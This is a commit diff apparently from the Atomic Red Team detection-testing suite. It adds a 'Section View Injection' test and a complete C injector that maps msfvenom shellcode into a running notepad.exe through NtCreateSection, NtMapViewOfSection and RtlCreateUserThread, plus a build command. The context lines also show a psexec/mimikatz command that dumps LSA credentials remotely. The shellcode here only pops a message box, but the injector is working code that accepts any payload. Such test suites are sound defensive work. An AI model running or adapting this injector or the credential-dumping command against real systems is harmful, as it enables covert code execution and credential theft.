adding Section View injection (#2275)
This commit is contained in:
@@ -95,3 +95,16 @@ atomic_tests:
|
||||
#{psexec_path} /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit"
|
||||
name: command_prompt
|
||||
elevation_required: false # locally not, but remotely on target machine then yes
|
||||
- name: Section View Injection
|
||||
description: |
|
||||
This test creates a section object in the local process followed by a local section view.
|
||||
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view.
|
||||
A thread is then created in the target process, using the remote section view as start address.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
$notepad = Start-Process notepad -passthru
|
||||
Start-Process $PathToAtomicsFolder\T1055\bin\x64\InjectView.exe
|
||||
cleanup_command: Stop-Process $notepad.pid
|
||||
name: powershell
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,210 @@
|
||||
/*
|
||||
Injector for Atomic Red Team leveraging code injection using NtCreateSection, NtMapViewOfSection and RtlCreateUserThread.
|
||||
Author: traceflow@0x8d.cc
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
|
||||
// msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Atomic Red Team" -f csharp
|
||||
unsigned char shellcode[] = {0xfc,0x48,0x81,0xe4,0xf0,0xff,
|
||||
0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
|
||||
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
|
||||
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
|
||||
0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
|
||||
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
|
||||
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
|
||||
0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
|
||||
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
|
||||
0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
|
||||
0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
|
||||
0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
|
||||
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
|
||||
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
|
||||
0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
|
||||
0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
|
||||
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
|
||||
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
|
||||
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
|
||||
0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
|
||||
0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x0e,0x01,0x00,0x00,0x48,
|
||||
0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
|
||||
0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x41,0x74,0x6f,
|
||||
0x6d,0x69,0x63,0x20,0x52,0x65,0x64,0x20,0x54,0x65,0x61,0x6d,
|
||||
0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00
|
||||
};
|
||||
|
||||
unsigned int shellcode_len = sizeof(shellcode);
|
||||
|
||||
// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html
|
||||
typedef struct _CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FSECTION_INHERIT.html
|
||||
typedef enum _SECTION_INHERIT {
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT, *PSECTION_INHERIT;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
_Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
// https://processhacker.sourceforge.io/doc/ntbasic_8h_source.html#l00186
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html
|
||||
typedef NTSTATUS (NTAPI * NtCreateSection_t)(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ULONG DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN PLARGE_INTEGER MaximumSize OPTIONAL,
|
||||
IN ULONG PageAttributess,
|
||||
IN ULONG SectionAttributes,
|
||||
IN HANDLE FileHandle OPTIONAL);
|
||||
|
||||
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html
|
||||
typedef NTSTATUS (NTAPI * NtMapViewOfSection_t)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID * BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
DWORD InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect);
|
||||
|
||||
typedef FARPROC (WINAPI * RtlCreateUserThread_t)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
|
||||
IN BOOLEAN CreateSuspended,
|
||||
IN ULONG StackZeroBits OPTIONAL,
|
||||
IN OUT PULONG StackReserved OPTIONAL,
|
||||
IN OUT PULONG StackCommit OPTIONAL,
|
||||
IN PVOID StartAddress,
|
||||
IN PVOID StartParameter OPTIONAL,
|
||||
OUT PHANDLE ThreadHandle OPTIONAL,
|
||||
OUT PCLIENT_ID ClientId OPTIONAL);
|
||||
|
||||
|
||||
int FindProcess(const char *procname) {
|
||||
|
||||
HANDLE hSnapshot;
|
||||
PROCESSENTRY32 pe32;
|
||||
DWORD pid = 0;
|
||||
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (!Process32First(hSnapshot, &pe32)) {
|
||||
CloseHandle(hSnapshot);
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (Process32Next(hSnapshot, &pe32)) {
|
||||
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
}
|
||||
CloseHandle(hSnapshot);
|
||||
return pid;
|
||||
}
|
||||
|
||||
HANDLE FindThread(int pid) {
|
||||
HANDLE hThread = NULL;
|
||||
THREADENTRY32 thEntry;
|
||||
|
||||
thEntry.dwSize = sizeof(thEntry);
|
||||
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||||
|
||||
while(Thread32Next(hThreadSnap, &thEntry)) {
|
||||
if(thEntry.th32OwnerProcessID == pid) {
|
||||
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
|
||||
break;
|
||||
}
|
||||
}
|
||||
CloseHandle(hThreadSnap);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
int Inject(HANDLE hProc, unsigned char *shellcode, unsigned int shellcode_len)
|
||||
{
|
||||
HANDLE hSection = NULL;
|
||||
PVOID pLocalSectionView = NULL;
|
||||
PVOID pRemoteSectionView = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
// Get pointers to the functions we need from ntdll.dll
|
||||
NtCreateSection_t NtCreateSection = (NtCreateSection_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection");
|
||||
if(NtCreateSection == NULL) return -1;
|
||||
NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtMapViewOfSection");
|
||||
if(NtMapViewOfSection == NULL) return -1;
|
||||
RtlCreateUserThread_t RtlCreateUserThread = (RtlCreateUserThread_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "RtlCreateUserThread");
|
||||
if(RtlCreateUserThread == NULL) return -1;
|
||||
|
||||
// Create section object in the process.
|
||||
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER) &shellcode_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
|
||||
|
||||
// Create local section view.
|
||||
NtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalSectionView, NULL, NULL, NULL, (SIZE_T *) &shellcode_len, ViewUnmap, NULL, PAGE_READWRITE);
|
||||
|
||||
// Copy payload in section.
|
||||
memcpy(pLocalSectionView, shellcode, shellcode_len);
|
||||
|
||||
// Create remote section view in the target process.
|
||||
NtMapViewOfSection(hSection, hProc, &pRemoteSectionView, NULL, NULL, NULL, (SIZE_T *) &shellcode_len, ViewUnmap, NULL, PAGE_EXECUTE_READ);
|
||||
|
||||
// Make the target process execute the shellcode.
|
||||
RtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteSectionView, 0, &hThread, NULL);
|
||||
if(hThread != NULL) {
|
||||
WaitForSingleObject(hThread, 500);
|
||||
CloseHandle(hThread);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return -1;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
DWORD pid = 0;
|
||||
HANDLE hProc = NULL;
|
||||
|
||||
pid = FindProcess("notepad.exe");
|
||||
|
||||
if(pid) {
|
||||
hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
|
||||
|
||||
if(hProc != NULL) {
|
||||
Inject(hProc, shellcode, shellcode_len);
|
||||
CloseHandle(hProc);
|
||||
} else {
|
||||
printf("Error opening process.\n");
|
||||
}
|
||||
} else {
|
||||
printf("Notepad.exe not running. Run Notepad first.\n");
|
||||
}
|
||||
return 0;
|
||||
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tp InjectView.c /link /OUT:InjectView.exe /SUBSYSTEM:CONSOLE
|
||||
Reference in New Issue
Block a user